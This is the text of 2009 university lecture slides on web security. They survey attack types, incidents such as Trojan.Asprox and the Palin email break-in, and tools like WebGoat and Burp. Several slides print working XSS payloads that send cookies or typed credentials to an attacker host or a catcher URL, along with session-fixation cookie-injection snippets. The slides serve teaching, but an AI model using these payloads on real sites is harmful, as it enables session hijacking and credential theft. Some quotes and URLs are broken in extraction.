Вы находитесь на странице: 1из 133

Hacking the Web

Arun Viswanathan CS571 (Web Technologies)/ University of Southern California


One who knows the enemy and knows himself will not be endangered in a hundred engagements. One who does not know the enemy but knows himself will sometimes be victorious. Sometimes meet with defeat. One who knows neither the enemy nor himself will invariably be defeated in every engagement.

- Sun Tzu. Art of War.

Copyright (c) 2009 Arun Viswanathan

4/21/2009

Objectives
I. II. III. IV. V. VI. VII.

Understand the importance of web security. Understand the security implications of building applications on the web in a practical way. Understand the threat spectrum. Understand how real attacks work with their implications. Familiarize with vocabulary used in the security community. Take a sneak peek at the tools used by hackers and defenders. Provide pointers for further exploration.

NOTE: We will not be covering prevention mechanisms or secure coding design principles as it is difficult to do justice to all of these in the short time available.

Copyright (c) 2009 Arun 4/21/2009 Viswanathan

Table of Contents

Motivation for Web Security


Why Secure the Web? Web Security from a Hackers perspective Web Security from a business perspective A look at the current state of web (in)security Anatomy of a Web Attack How does Joe infect websites with Malware? Top 10 hacks Joe used in 2008? How poor Alice gets infected? Drive-by downloads What damage can Joes hacks cause? I have a firewall / Antivirus and use SSL. Should I bother? A real example..Meet Trojan.Asprox Where are we headed? A note on standards and terminology The Attack Surface Threat Classification (JUMP TO THIS FOR A QUICK INDEX OF ALL ATTACKS) Top 10 Issues to Worry About

Beginners tool chest Authentication Attacks Authorization Attacks Client-side Attacks Injection Attacks Information Disclosure Logical Attacks Protocol Attacks Miscellaneous Conclusion

Introduction to Web Security


The Threat Landscape


Detection and Prevention Parting Thoughts A Session ID Primer Same-Origin Policy Bypassing Same-Origin Policy

Appendix

Additional References

Copyright (c) 2009 Arun 4/21/2009 Viswanathan

Motivation for Web Security


Q: Why bother?

Copyright (c) 2009 Arun Viswanathan

4/21/2009

Why secure the Web?

The Web has evolved into an ubiquitous entity providing a rich and common platform for connecting people and doing business. BUT, the Web also offers a cheap, effective, convenient and anonymous platform for crime. To get an idea, the Web has been used for the following types of criminal activities (source: The Web Hacking Incidents Database (WHID) )
Chaos Deceit
(Attack on Russian nuclear power websites amid accident rumors (5Jan09) (SAMY XSS Worm Nov 2005) (David Aireys domain hijacked due to a CSRF flaw in Gmail 30Dec2007) (XSS on Yahoo! Hot jobs Oct 2008) (Israeli Gaza War - Jan 2009 / Balkan Wars Apr 2008 )

Extortion

Identity Theft

Information Warfare Monetary Loss Physical Pain Political

(eBay fraud using XSS)

(Hackers post on epilepsy forum causes migraines and seizures May 2008)

Defacements (Hacker changes news release on Sheriffs website Jul 2008) (Obama, Oreilly and Britneys Twitter accounts hacked and malicious comments posted Jan 09)

Copyright (c) 2009 Arun 4/21/2009 Viswanathan

Web Security from a Hackers Perspective

Dan Geer & Dan Conway (IEEE S&P Jan/Feb 2009 Pg. 86) suggest the following values of common goods in the underground market
Commodity 12 Verified PayPal Keys CC w/o CCV2 CC w CCV2 CC Databases CC relative prices 40 full identities 42 rich bank accounts 36 US passports Spamming Email Service $90 $1 - $3 $1.50 to $10.00 depending on country $100 to $300 Visa < MasterCard < Discover < AMEX $200 $31500 $28800 Price

$0.01 per 1000 emails with 85% reliability of delivery Incentives for hacking are clear! There is a huge market demand.

Copyright (c) 2009 Arun 4/21/2009 Viswanathan

Web Security from a Business Perspective

Data from datalossdb.org (which tracks data breach incidents involving compromise of Personally Identifiable Information (PII)) shows an active increase in breach activity. A recent study by the Ponemon Institute has shown that the average number of records compromised in every breach is around 99,000. Taking this figure as a baseline, an estimate of the total cost of a breach to an organization (as per this calculator) is $11.5 Millions !!

Copyright (c) 2009 Arun 4/21/2009 Viswanathan

A look at current state of web (in)security

According to the Dec 2008 WhiteHat Website Security Statistics Report ,


8/10 websites have at least one of HIGH, CRITICAL or URGENT vulnerabilities. Websites average 6 open vulnerabilities (i.e. known but unfixed)

According to the Symantec Internet Security Threat report ) (2009),

Symantec saw a dramatic increase in the number and sophistication of Web based threats affecting users across all demographics and geographies. From 2002-2007, Symantec created around 800,000 unique malware signatures. In 2008 alone, Symantec created 1,800,000 unique signatures a 239% increase from 2007.

Percentage likelihood of websites having at least one vulnerability.

Copyright (c) 2009 Arun 4/21/2009 Viswanathan

Conclusions

There is LOTS to be done about the security of the web. The rate at which hacking techniques and malware are being invented is phenomenal (as hinted to by the Symantec report). Developers, Architects, Administrators, Managers: all need to be educated about the implications of designing, building, configuring and deploying insecure web applications. Hackers are way ahead in the race for now !

Copyright (c) 2009 Arun 4/21/2009 Viswanathan

Introduction to Web Security


Q: What is it?

10

Copyright (c) 2009 Arun Viswanathan

4/21/2009

Anatomy of a typical web attack


www.foobar.c om Joe hacks foobar.com and posts malicious stuff (eg. <script> tags pointing to malicious JavaScript)

Alice visits foobar.com as usual

1 Joe The Hacker 3 Alice is served her regular pages along with the malicious stuff which go and install on her computer

Poor old Alice

Note: Step 3 may install malware fully automatically (often called drive-by-download ) or it may require some inputs from Alice (like clicking on buttons or links)

11

Copyright (c) 2009 Arun 4/21/2009 Viswanathan

How does Joe infect websites with malware?

Some common ways that websites get infected are (ref [6])

SQL injection attacks

These attacks maliciously alter the backend databases of websites thus making them redirect users to malware sites. Most common form of attack in 2008. More details on this later Example :Easter related search results poisoned redirecting users to malicious software

Cross-site scripting attacks (XSS)

Search Engine result Redirection

Attacks on backend virtual hosting companies Vulnerabilities in web-server or forum-hosting software

Example: PhPBB (Php Bulletin Boards) vulnerabilites

Using social networking sites to infect users (these are a combination of social engineering and above attacks)

Example: MySpace SAMY worm

12

Copyright (c) 2009 Arun 4/21/2009 Viswanathan

Top 10 attacks Joe used in 2008

13

Copyright (c) 2009 Arun 4/21/2009 Viswanathan

How poor Alice gets infected?

Poor Alice can get the malware planted by Joe in many ways

By installing fake codecs embedded with Trojans.

Example: zlob Trojan. Example: Flash Banner ads as seen in 2008.

By viewing malicious advertisements

By installing fake scanners or misleading applications (also called scareware/ rogueware).

Example: Some malware trick users into believing that their computer is infected and urges them to install software like Antivirus 2009 which itself is a malware.

By visiting malicious P2P sites and downloading malicious content By visiting websites sent as email links by the hacker

This is also a form of social engineering attack Blog Spam is very common and many unsuspecting fall prey to links posted by malicious individuals posing as honest opinionates.

By visiting links posted on Blog Sites under Blog Comments

By installing pirated software from warez sites which are maliciously modified by hackers. AND the fastest and most popular way to get infected is ..

14

Copyright (c) 2009 Arun 4/21/2009 Viswanathan

Drive-by download .. The automatic infection vector of 2008

15

Copyright (c) 2009 Arun 4/21/2009 Viswanathan

What damage can Joes hacks cause?


On the client machine

Stealing users cookies and thus gaining access to users accounts on websites like email/banking. Logging users keystrokes Showing defaced/altered websites to the user (phishing) User credential stealing and misuse Stealing browser history and compromising privacy of user Evading or disabling phishing filters and thus opening up new avenues for attacks Circumvent other security controls like bypassing HTTPS Installing malicious software (like Trojans/ Rootkits) Spamming .. Defacing pages / Altering content Injecting malicious content in dynamically served pages and thus infecting all users who visit the site Denial of service on the server resulting in downtime and hence loss of business Phishing Scanning intranet for vulnerable machines Spamming

On the server

16

Copyright (c) 2009 Arun 4/21/2009 Viswanathan

I have a firewall/antivirus and use SSL. Should I bother?

17

Copyright (c) 2009 Arun 4/21/2009 Viswanathan

A real example.. Meet Trojan.Asprox

During May 2008, mass web infections using SQL Injection were detected globally. Hackers were able to successfully compromise government websites and large businesses using an automated attack toolkit (known as Asprox or neosploit). The attack toolkit worked as follows:

Searched Google for web pages with file extension of [.asp] If asp was found, it launched SQL injections against the website. The SQL Injection was such that it appended a <SCRIPT> tag to dynamically generated web pages. The SCRIPT src pointed to a malware file on a malicious site.

About 1000 unique domains had been compromised by July 2008. Each of the compromised domains included a reference to the malware served by over 160 domains across the internet. Any user visiting the compromised websites was automatically compromised because of the malicious <script> tags.

18

Copyright (c) 2009 Arun 4/21/2009 Viswanathan

A website infected with Trojan.Asprox

Notice that the script src is a weird domain(www.gbradw.com ) pointing to script ngg.js.The original domain is ( www.heron.nhs.uk )
19 Copyright (c) 2009 Arun 4/21/2009 Viswanathan

Analysis of contents of ngg.js

The script contains some code for setting a cookie value. Then, it injects an hidden iframe with src pointing to a CGI script on some malicious server. Subsequently, the CGI code loads malicious code which executes on the users machine automatically. Thats it ! The users machine is now under the hackers control. It can be used to send spam, attack other machines or whatever its master wishes.

20

Copyright (c) 2009 Arun 4/21/2009 Viswanathan

Where are we headed?

Attack trends for 2008 and beyond..


Increase in drive-by downloads Use of heavily obfuscated attacks Attacks on browser plugins instead of the browser itself Use of misleading applications to fool users Mass use of SQL Injection and XSS using automated attack toolkits Use of malvertisements to redirect users to malicious websites 2008 saw the rise of automated toolkits like Mpack, IcePack, ElFiesta and NeoSploit. These toolkits facilitate the following for the hackers:

Automated Web Attack Toolkits


Victim Profiling Attack Timing Geographical variances Selective use of vulnerabilities Obfuscation Brute Forcing Probabilistic attacking to decrease chance of detection Dynamically changing malware and URL variants Serving polymorphic variants on the fly.

This is an ever-changing scenario with attackers getting smarter and more sophisticated than ever.
21 Copyright (c) 2009 Arun 4/21/2009 Viswanathan

The Threat Landscape


Q: How is it done?

22

Copyright (c) 2009 Arun Viswanathan

4/21/2009

A note on standards and terminology

There is no global formal standards body which defines a standard for talking about web security. Many times different security vendors/individuals and organizations use different terminologies and different notations while talking of web threats. There are two informal groups that lead the effort to standardize the terminology and provide a common frame of reference. We will refer to work from both of them.

OWASP (Open Web Application Security Project) The Open Web Application Security Project (OWASP) is a worldwide free and open community focused on improving the security of application software. Our mission is to make application security visible, so that people and organizations can make informed decisions about true application security risks.

WebAppSec Consortium (WASC)

The Web Application Security Consortium (WASC) is an international group of experts, industry practitioners, and organizational representatives who produce open source and widely agreed upon best-practice security standards for the World Wide Web.

You should use them as a starting point in your exploration of web security issues.
23 Copyright (c) 2009 Arun 4/21/2009 Viswanathan

A note on terminology (cont..)

Web Vulnerabilities are assigned an ID when they are discovered. Unfortunately, there is no one database where everything is maintained. There are several but the most notable ones along with URLs of the organizations where the databases are hosted are as follows:

CVE ID - http://cve.mitre.org/ Bugtrag ID - http://www.securityfocus.com/vulnerabilities Secunia ID - http://secunia.com/advisories/ FrSIRT ID - http://www.vupen.com/english/company.php CERT ID - http://www.kb.cert.org/vuls/ MS Bulletin ID - http://www.microsoft.com/technet/security/Current.aspx

Many of the databases provide cross-references to other database IDs. Anyone serious about web security, should constantly poll these databases to learn about the latest vulnerabilities.

24

Copyright (c) 2009 Arun 4/21/2009 Viswanathan

Attack Surface

Intuitively, the attack surface is the set of ways in which an adversary can enter the system and cause damage. (Ref [4]) For the web, it tentatively looks as follows
Web Applications (Websites/Blogs/Mashups/Wikis/Rich Interface apps)

User Agents a)Browsers (FF/IE..) b)Plug-ins (Flash/Video/PDF/) c)Client-side APIs and frameworks (AJAX / Flex etc.)

Servers/Caches/Proxie s a)Server Code ( Apache/IIS/Tomcat) b)Server side frameworks (JAVA EE / ASP.net / PhP / Servlets / Django / RubyonRails )

Protocols (HTTP/SSL/Auth..)

25

Copyright (c) 2009 Arun 4/21/2009 Viswanathan

Threat Classification

(extended from WASC Threat Classification [10])


Authentication Brute Force Insufficient Authentication Weak Password Recovery Validation Authorization Credential/Session Prediction Insufficient Authorization Insufficient Session Expiration Session Fixation Session Riding or Cross-site request forgery (CSRF) Client-side Attacks Content Spoofing Cross-site scripting (XSS) (With DEMO) Cross-site Tracing (XST) Browser and Plug-in vulnerabilities Clickjacking Injection Attacks Buffer Overflows Format String OS Commanding LDAP Injection SQL Injection XPATH Injection SSI Injection SOAP Injection

JavaScript Hijacking

Information Disclosure Directory Indexing Information Leakage Path Traversal Predictable Resource Location / Forced Browsing Insecure Direct Object Reference Webserver/Application Fingerprinting

Logical Attacks Abuse of functionality Insufficient Anti-Automation Insufficient Process Validation Parameter Tampering/Cookie Poisoning/Hidden Field Manipul Protocol Attacks HTTP Response Splitting HTTP Request Smuggling Miscellaneous AJAX Security Google Hacking Search Worms AJAX Worms

Think of this as a partial checklist for you as a developer or architect ! 26 Copyright (c) 2009 Arun 4/21/2009
Viswanathan

Top 10 issues to worry about


OWASP Top 10 (2007) Cross-site Scripting (XSS) 25% Injection Flaws 18% Malicious File Execution 17% Insecure Direct Object Reference 7% Cross Site Request Forgery Information Leakage and Improper Error handling 5% Broken Authentication and Session Management 4% Insecure Cryptographic Storage 1% Insecure Communication 1% Failure to restrict URL access 2% WhiteHat Security Top 10 (Dec 2008) Cross-site scripting (XSS) 67% Information Leakage 45% Content Spoofing 28% Insufficient Authorization 18% SQL Injection 16% Predictable resource location 15% Insufficient Authentication 10% Cross Site Request Forgery 10% HTTP Response Splitting 9% Abuse of functionality 8%

27

Copyright (c) 2009 Arun 4/21/2009 Viswanathan

The Plan

The following slides will dive into the dirty details of attacks. A set of popular tools to understand the attacks will be introduced.

WebGoat WebScarab Burp Suite Firebug Nessus Metasploit

Some of these tools will be used to demonstrate actual attacks on the deliberately insecure application called WebGoat (provided by OWASP).

DISCLAIMER: We are not demonstrating hacking of any website or web service. We are just using a tool built specifically for the purpose of teaching students.

28

Copyright (c) 2009 Arun 4/21/2009 Viswanathan

Beginners Tool Chest


Simple tools to explore web security. Use these wisely!

29

Copyright (c) 2009 Arun Viswanathan

4/21/2009

WebGoat

(http://www.owasp.org/index.php/Category:OWASP_WebGoat_Project)

WebGoat is a deliberately insecure J2EE web application maintained by OWASP designed to teach web application security lessons. In each lesson, users must demonstrate their understanding of a security issue by exploiting a real vulnerability in the WebGoat application. For example, in one of the lessons the user must use SQL injection to steal fake credit card numbers. The application is a realistic teaching environment, providing users with hints and code to further explain the lesson.

30

Copyright (c) 2009 Arun 4/21/2009 Viswanathan

WebScarab

(http://www.owasp.org/index.php/Category:OWASP_WebScarab_Project)

WebScarab is a framework in Java for analyzing applications that communicate using the HTTP and HTTPS protocols. WebScarab can operate as an intercepting proxy, allowing interception and modification of both requests and responses. It provides a bunch of features for analyzing security of web sites.

31

Copyright (c) 2009 Arun 4/21/2009 Viswanathan

Firebug

(http://www.getfirebug.com/)

Firebug is an add-on for the Firefox browser. We can use it to inspect, edit and monitor CSS, HTML and JavaScript.

A similar tool for IE is called IEWatch ( http://www.iewatch.com)


32

Copyright (c) 2009 Arun 4/21/2009 Viswanathan

Burp Suite

(http://portswigger.net/suite/)

Burp Suite is an integrated platform for attacking web applications. Burp Suite allows you to combine manual and automated techniques to enumerate, analyze, scan, attack and exploit web applications.

33

Copyright (c) 2009 Arun 4/21/2009 Viswanathan

Nessus Vulnerability Scanner


nessus/)

(http://www.nessus.org/

Nessus is a top-class vulnerability scanner which scans applications for a wide range of vulnerabilities. Its real power is its database of attacks which is constantly updated by the community and the company which owns nessus. Nessus is a good tool for testing the security of your final web application.

34

Copyright (c) 2009 Arun 4/21/2009 Viswanathan

Metasploit

(http://www.metasploit.com/)

Metasploit provides useful information to people who perform penetration testing, IDS signature development, and exploit research. The framework consists of tools, libraries, modules, and user interfaces. The basic function of the framework is a module launcher, allowing the user to configure an exploit module and launch it at a target system.

35

Copyright (c) 2009 Arun 4/21/2009 Viswanathan

Setting up tools for this class


Assuming that you are using a Windows System. Install Java 1.5 SDK if not already. Download and unpack WebGoat from OWASP_Standard-5.2.zip. Download WebScarab from
http://webgoat.googlecode.com/files/WebGoat-

http://sourceforge.net/project/downloading.php? https://addons.mozilla.org/en-US/firefox/addon/1843.

group_id=64424&filename=webscarab-selfcontained-20070504-1631.jar&a=26059941.

Download and install firebug

Go to the WebGoat directory and click on the webgoat_8080.bat file. This will start the tomcat server on 8080 and start the insecure J2EE app. Open firefox and navigate to http://localhost:8080/WebGoat/attack. Login using guest:guest. Now open a command shell. Navigate to the location of the WebScarab jar file and type java jar webscarab-selfcontained-20070504-1631.jar

36

Copyright (c) 2009 Arun 4/21/2009 Viswanathan

Authentication Attacks

37

Copyright (c) 2009 Arun Viswanathan

4/21/2009

1. Brute Force Attacks

Brute Force attack is an automated process of trial and error used to guess a persons username, password, session ids, credit-card, cryptographic key or anything that is unique to the user and authenticates him. Two types of Brute Force attacks

Normal : Uses a single username against many passwords. Reverse: Uses many usernames against a single password. In a system with millions of accounts, the odds of finding two users with same password increases.

Brute-forcing is easy when websites do not implement any form of account lockout policy.

References
WASC Threat Classification (http://www.webappsec.org/projects/threat/)

38

Copyright (c) 2009 Arun 4/21/2009 Viswanathan

Brute Force Example

Twitter hacked using Brute Force (Jan 09)


http://blog.wired.com/27bstroke6/2009/01/professed-twitt.html)

A hacker, who goes by the handle GMZ, gained entry to Twitter's administrative control panel by pointing an automated password-guesser at a popular user's account. The user turned out to be a member of Twitter's support staff, who'd chosen the weak password "happiness." Cracking the site was easy, because Twitter allowed an unlimited number of rapid-fire log-in attempts. Implications :

The hacker managed to send tweets posing as Obama, Britney and OReilly.

39

Copyright (c) 2009 Arun 4/21/2009 Viswanathan

2. Insufficient Authentication

Happens when a website allows users to access sensitive content or functionality without proper authentication Many websites hide resources by not linking the location into the main website. But this is security through obscurity. For example, many times web servers have an /admin directory which is not linked to the main website. But if not properly configured for permissions, a user can view the contents by typing in the right URLs. This is also referred in OWASP Top 10 of 2007 as Failure to restrict URL access .

References
1. 2.

WASC Threat Classification (http://www.webappsec.org/projects/threat/) OWASP Top 10: http://www.owasp.org/index.php/Top_10_2007-A10

40

Copyright (c) 2009 Arun 4/21/2009 Viswanathan

Insufficient Auth Example

eBay hacked and many users accounts got suspended by hacker (Oct 07) (http://www.auctionbytes.com/cab/abn/y07/m10/i09/s01)

The hacker found very old administrative functions that had not been deactivated several years ago when the security of internal systems was changed. These functions were still accessible on public servers, while the rest of the functionality was behind multiple layers of security.

41

Copyright (c) 2009 Arun 4/21/2009 Viswanathan

3. Weak Password Recovery Validation


Weak Password Recovery Validation is when a web site permits an attacker to illegally obtain, change or recover another users credentials. A website is said to have a weak password recovery mechanism when a hacker can easily foil the recovery mechanism by easily guessing the answers to the secret questions and thus recovering or changing the password of the legitimate user. Please note that this attack exists because system designers assume that all the potential 6 billion users on the planet will choose a non-guessable secret. The following are some example of a bad recovery method.

Information Verification : Asking the user to supply their email address along with their phone number. Note that these are both publicly available. Password Hints : Many users have a tendency to embed the password in the hint itself. Example hint : bday+favauthor which can be easily translated by someone knowing the person to 110490asimov. Secret Question + Answer : Something like In which city were you born? for a password recovery system is easily circumventable today because most of the information is public due to social networking sites.

References
WASC Threat Classification (http://www.webappsec.org/projects/threat/)

42

Copyright (c) 2009 Arun 4/21/2009 Viswanathan

Weak Password Recovery Example


Paris Hilton T-Mobile account hacked (2005)

( http://www.macdevcenter.com/pub/a/mac/2005/01/01/paris.html)

A group of hackers hacked into Hiltons T-Mobile Sidekick account and posted contents from her email inbox all over the internet. While the hack used a combination of social engineering tricks and technical flaws, the hack was finally successful because the hackers were able to reset Hiltons password. Like many online service providers, T-Mobile.com required users to answer a "secret question" if they forget their passwords. For Hilton's account, the secret question was "What is your favorite pet's name? Just Google for the answer

43

Copyright (c) 2009 Arun 4/21/2009 Viswanathan

Weak Password Recovery Example (cont..)

Sarah Palins Email account hack (2008)

( http://blog.wired.com/27bstroke6/2008/09/palin-e-mail-ha.html )

This is what the hacker had to say about it


In the past couple days news had come to light about palin using a yahoo mail account, it was in news stories and such, a thread was started full of newfags trying to do something that would not get this off the ground, for the next 2 hours the acct was locked from password recovery presumably from all this bullshit spamming.after the password recovery was reenabled, it took seriously 45 mins on wikipedia and google to find the info, Birthday? 15 seconds on wikipedia, zip code? well she had always been from wasilla, and it only has 2 zip codes (thanks online postal service!) the second was somewhat harder, the question was where did you meet your spouse? did some research, and apparently she had eloped with mister palin after college, if youll look on some of the screenshits that I took and other fellow anon have so graciously put on photobucket you will see the google search for palin eloped or some such in one of the tabs. I found out later though more research that they met at high school, so I did variations of that, high, high school, eventually hit on Wasilla high I promptly changed the password to popcorn and took a cold shower [sic]

44

Copyright (c) 2009 Arun 4/21/2009 Viswanathan

Authorization Attacks

45

Copyright (c) 2009 Arun Viswanathan

4/21/2009

1. Credential / Session Prediction (Session Hijacking)


Credential/Session prediction is a method of hijacking or impersonating a web site user. Typically, websites associate a unique value called a session ID with a user one the authentication is done. (See the Appendix for a discussion on SessionIDs) The session ID authorizes the users actions on the website. Deducing or guessing the unique value that identifies a particular session or a user is enough to pose as a legitimate user and perform actions on the real users behalf. Many websites use proprietary algorithms to generate session IDs which may not be cryptographically random. Sometimes these IDs are nothing more than a sequential increment or use a combination of variables. The hacker typically launches the attack by reading these session IDs from a cookie, hidden form field or URL and calculates or brute forces subsequent session IDs.

References

iDefense: Brute-Force Exploitation of Web Application Session IDs, By David Endler iDEFENSE Labs ( http://www.cgisecurity.com/lib/SessionIDs.pdf ) Dos and Donts of Client Authentication on the Web, Kevin Fu, Emil Sit, Kendra Smith, Nick Feamster MIT Laboratory for Computer Science http://cookies.lcs.mit.edu/pubs/webauth:tr.pdf Best Practices in managing HTTP-Based Client Sessions, Gunter Ollmann X-force Security Assessment Services EMEA A Guide to Web Authentication Alternatives, Jan Wolter http://www.unixpapa.com/auth/homebuilt.html

46

Copyright (c) 2009 Arun 4/21/2009 Viswanathan

Credential/Session Prediction Example


Attack on 123greetings.com
(refer the iDefense whitepaper in references)

123greetings.com used to send users URLs like the following to view


http://123greetings.com/view/AD30725122110120

Look at the following set of successive URLs generated within a short period of time
http://123greetings.com/view/AD30725122116211 http://123greetings.com/view/AD30725122118909 http://123greetings.com/view/AD30725122120803 http://123greetings.com/view/AD30725122122507

It turns out that the so-called random number at the end of the URL string has the following format:
AD3 constant 07251221 is the date and time at which the URL was sent (25 July 12:21 PST)

So we are left with only 5 digits of randomness out of the 16 digits!!!!

Implications :
With a fairly simple script and some knowledge of time and date one can easily brute force a bunch of URLs and view greetings which are not meant to be viewed by him !

47

Copyright (c) 2009 Arun 4/21/2009 Viswanathan

A comparison of good vs. bad session values


Uniformly random (YouTube) Sequential Cookies (Insecure WebGoat Application)

48

Copyright (c) 2009 Arun 4/21/2009 Viswanathan

2. Insufficient Authorization

Insufficient Authorization is when a web site permits authenticated users to do more than their authenticated status permits. Insufficient Authorization leads to increased access privileges. Websites perform the authorization check after a user is authenticated. If the website architecture is such that it depends on setting the right permissions on resources (say files), then a simple oversight by the administrator can effectively give a guest user elevated permissions. Also, many websites make all administrative functions visible to the user which increases the risk of privilege escalation. This is also referred in OWASP Top 10 of 2007 as Failure to restrict URL access .

References
1. 2.

WASC Threat Classification (http://www.webappsec.org/projects/threat/) OWASP Top 10: http://www.owasp.org/index.php/Top_10_2007-A10

49

Copyright (c) 2009 Arun 4/21/2009 Viswanathan

Insufficient Authorization Example


Serious SaaS (Software as a Service) issues in SAGE Live
http://blog.kashflow.com/2009/01/21/sage-live-security/ ) (

SAGE is a reputed accounting software and SAGE Live is the online version of the service. Once SAGE Live was released Security issues were found on the site which forced the management to take down the system. Two of the most critical issues were:
1. 2.

Password shown in clear text Logged in user Having complete read-access to Administrative functions

50

Copyright (c) 2009 Arun 4/21/2009 Viswanathan

3. Insufficient Session Expiration

This happens when a web site permits an attacker to reuse old session credentials or session IDs for authorization. Session ID confidentiality is very important in order to prevent multiple users from accessing the same account. A stolen session ID can be used to view another users account or perform a fraudulent transaction. The dilemma then for website designers is as follows: Should we have short expiry times or long expiry times? Short expiry times frustrate users by having to constantly log back in while long expiry times are dangerous. The solution most typically adopted is to keep the session active till the user is active and then logoff the user after a short inactivity period.

51

Copyright (c) 2009 Arun 4/21/2009 Viswanathan

4. Session Fixation

In a session fixation attack, the attacker fixes the users session ID before the user even logs into the target server, thereby eliminating the need to obtain the users session ID afterwards. There are many ways for the attacker to perform a session fixation attack, depending on the session ID transport mechanism (URL arguments, hidden form fields, cookies) and the vulnerabilities available in the target system or its immediate environment. Generally, session fixation attack is a 3-step process

Session Setup : Attacker sets up a valid session called trap session with the target website (for strict session management systems). Or attacker may use an arbitrary session id of the website allows it (for permissive systems). Session Fixation : Attacker introduces the session ID value into the users browser to fix the users session ID. This can be done in atleast 3 ways:

Injecting a cookie using a client-side script. The script simply sets document.cookie=sessionid=1234; Injecting a cookie by injecting a META Tag with Set-Cookie attribute <meta http-equiv=Set-Cookie content="sessionid=1234"> Injecting the cookie using an HTTP response header (say by using HTTP response splitting attack)

Session Entrance : Once the user logs in into the bank with the fixed session ID, attacker uses the fixed session id to issue a request to the bank. The attacker is now logged in as the user.

References
1.

Mitja Kolsek. Session Fixation Vulnerability in Web-based Applications URL: h ttp://www.acrossecurity.com/papers/session_fixation.pdf

52

Copyright (c) 2009 Arun 4/21/2009 Viswanathan

Session Fixation Example (simple)


1.

Attacker Logs into bank server (he is a valid user) to setup a trap-session. Attacker is given a SessionID of 1234.

2. 3.

Attacker logs out of bank and sends the victim user an email with the link http://online.worldbank.com/login.jsp?session The user happily clicks on this URL and sends a request with the FIXED session id=1234 to the bank. The bank does not create a new session id and happily allows the user to authenticate with his credentials. The bank then associates this sessionid to the users credentials. The hacker now uses the fixed session id to again access the bank. This time, the hacker automatically gets logged in with the users credentials.

4.

5.

6.

53

Copyright (c) 2009 Arun 4/21/2009 Viswanathan

5. Session Riding or CSRF


This vulnerability is called by various names Session Riding, Cross Site Request Forgery (CSRF), One-Click Attacks, Hostile Linking and Automation Attack. But the OWASP standardized name for this attack is Cross Site Request Forgery or CSRF. This is one of the rising stars in the security world. CSRF is an instance of the well-known confused-deputy problem as proposed by Norm Hardy in 1988. The fundamental issue in CSRF is that a hacker exploits the trust that a site has for a user. Contrast this with Cross-site scripting in which the hacker exploits trust that a user has for a site. In this specific instance of the confused deputy problem called CSRF, the browser is the confused-deputy which acts on behalf of the hacker but with the users credentials. In short: with CSRF it is possible to send commands to a Web application on behalf of the targeted user by just sending this user an email or tricking him into visiting a (not per se malicious but) specially crafted website. Among the attacks that may be carried out by means of Session Riding are deleting user data, executing online transactions like bids or orders, sending spam, triggering commands inside an intranet from the Internet, changing system and network configurations, or even opening the firewall. References

1. 2. 3.

Thomas Schreiber . SESSION RIDING: A Widespread Vulnerability in Today's Web Applications Arun Viswanathans CSRF Notes with references (http://www.arunviswanathan.com/node/11) OWASP Top 10: http://www.owasp.org/index.php/Top_10_2007-A5

54

Copyright (c) 2009 Arun 4/21/2009 Viswanathan

CSRF Example
Google Gmail Hijack using CSRF (Sep 2007)

( http://www.gnucitizen.org/blog/google-gmail-e-mail-hijack-technique/)

The victim user logs into Gmail as usual with his username and password. Now, the victim decides to open another Firefox tab and visit another website. Unfortunately, this website happens to be malicious website. Upon loading, the website performs a multipart/form-data POST to one of the Gmail interfaces and injects a filter into the victims filter list. This is possible because the user is still logged on into his Gmail account. The attackers request forces the browser to think that the valid Gmail application is issuing the request. So it simply complies and sends the request to Gmail interface with the right credentials. The attacker writes a filter, which simply looks for emails with attachments and forward them to an email of their choice. This filter will automatically transfer all emails matching the rule. Keep in mind that future emails will be forwarded as well. The attack will remain present for as long as the victim has the filter within their filter list, even if the initial vulnerability, which was the cause of the injection, is fixed by Google.

55

Copyright (c) 2009 Arun 4/21/2009 Viswanathan

Client Side Attacks

56

Copyright (c) 2009 Arun Viswanathan

4/21/2009

1. Content Spoofing

Content Spoofing is an attack technique used to trick a user into believing that certain content appearing on a web site is legitimate and not from an external source. This attack exploits the trust relationship established between the user and the web site. The technique has been used to create fake web pages including login forms, defacements, false press releases, etc.

References
WASC Threat Classification (http://www.webappsec.org/projects/threat/)

Example
eBay Fraud Abuses Zero Day XSS (Mar 2009)
) (http://www.xiom.com/whid/2009/33/ebay_xss_fraud

A zero day XSS vector enables hackers to include in an eBay offer an arbitrary code which is executed by both Firefox and IE. As a result they were able to spoof the content of the offer, so that the user saw different information than the details known to eBay.

57

Copyright (c) 2009 Arun 4/21/2009 Viswanathan

2. Cross Site Scripting (XSS)


Undoubtedly the most lethal attack against an web application and most popular way of attacking a web site as already seen by the figures in the introductory slides. XSS flaws occur whenever an application takes data that originates from a user and sends it to a web browser without first validating or encoding that content. XSS allows attackers to execute script in the victims browser, which can hijack user sessions, deface websites, insert hostile content, conduct phishing attacks, and take over the users browser using scripting malware. There are three types of XSS known:

Reflected XSS : In which a page reflects user supplied data directly back to the user. Easiest to exploit. Stored XSS : This takes hostile data, stores in a file, a database or other back end system and then displays the data to the user, unfiltered. Extremely dangerous in systems like Content Management Systems, blogs or forums where a large number of users see inputs from other individuals. For example, the following code steals cookies of users
<SCRIPT> </SCRIPT> document.location= 'http://attackerhost.example/cgibin/cookiesteal.cgi?'+document.cookie

DOM based : In this case the sites JavaScript code and variables are manipulated rather than the HTML file.

References

OWASP Top 10 : http://www.owasp.org/index.php/Top_10_2007-A1


Cross-site Scripting: Are your web applications vulnerable?, By Kevin Spett SPI Dynamics http://www.spidynamics.com/whitepapers/SPIcross-sitescripting.pdf HTML Code Injection and Cross-site Scripting, By Gunter Ollmann http://www.technicalinfo.net/papers/CSS.html Dom based XSS - http://www.webappsec.org/projects/articles/071105.html

58

Copyright (c) 2009 Arun 4/21/2009 Viswanathan

Cross Site Scripting Demo using WebGoat


Demo 1 Solution (Phishing with XSS)
testsearch<script>function hack(){ alert(Your credentials were just stolen. User Name = " + document.forms[0].user.value + " Password = " + document.forms[0].pass.value); XSSImage=new Image; XSSImage.src="http:// localhost/WebGoat/catcher? PROPERTY=yes&user="+document.forms[0].user.value + "&password=" + document.forms[0].pass.value + "";}</script><form><br><br><HR><H3>This feature requires account login:</H2><br><br>Enter Username:<br><input type="text" id="user" name="user"><br>Enter Password:<br><input type="password" name = "pass"><br><input type="submit" name="login" value="login" onclick="hack()"></form><br><br><HR>

Demo 2 Solution (Stored XSS)


<script> alert(document.cookie); XSSImage=new Image; XSSImage.src= http://csci571.usc.edu:31617/cgi-bin/cookiejar.cgi?+document.cookie </ script>

59

Copyright (c) 2009 Arun 4/21/2009 Viswanathan

XSS Real World Example (The Samy Worm)


